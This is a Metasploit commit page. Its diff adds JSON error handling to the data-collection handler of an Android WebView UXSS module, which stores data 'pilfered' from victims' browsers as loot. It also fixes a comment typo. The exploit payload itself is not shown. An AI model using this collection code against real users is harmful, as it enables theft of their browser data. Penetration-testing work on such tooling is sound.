Skip to content

Commit 1e9f9ce

Browse files
committed
Handle invalid JSON errors and fix typo.
1 parent 6dc13f9 commit 1e9f9ce

File tree

1 file changed

+12
-7
lines changed

1 file changed

+12
-7
lines changed

modules/auxiliary/gather/android_object_tag_webview_uxss.rb

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -114,12 +114,17 @@ def on_request_uri(cli, request)
114114
end
115115

116116
def collect_data(request)
117-
response = JSON.parse(request.body)
118-
url = response['url']
119-
if response && url
120-
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
121-
print_good "Collected data from URL: #{url}"
122-
print_good "Saved to: #{file}"
117+
begin
118+
response = JSON.parse(request.body)
119+
rescue JSON::ParserError
120+
print_bad "Invalid JSON request."
121+
else
122+
url = response['url']
123+
if response && url
124+
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
125+
print_good "Collected data from URL: #{url}"
126+
print_good "Saved to: #{file}"
127+
end
123128
end
124129
end
125130

0 commit comments

Comments
 (0)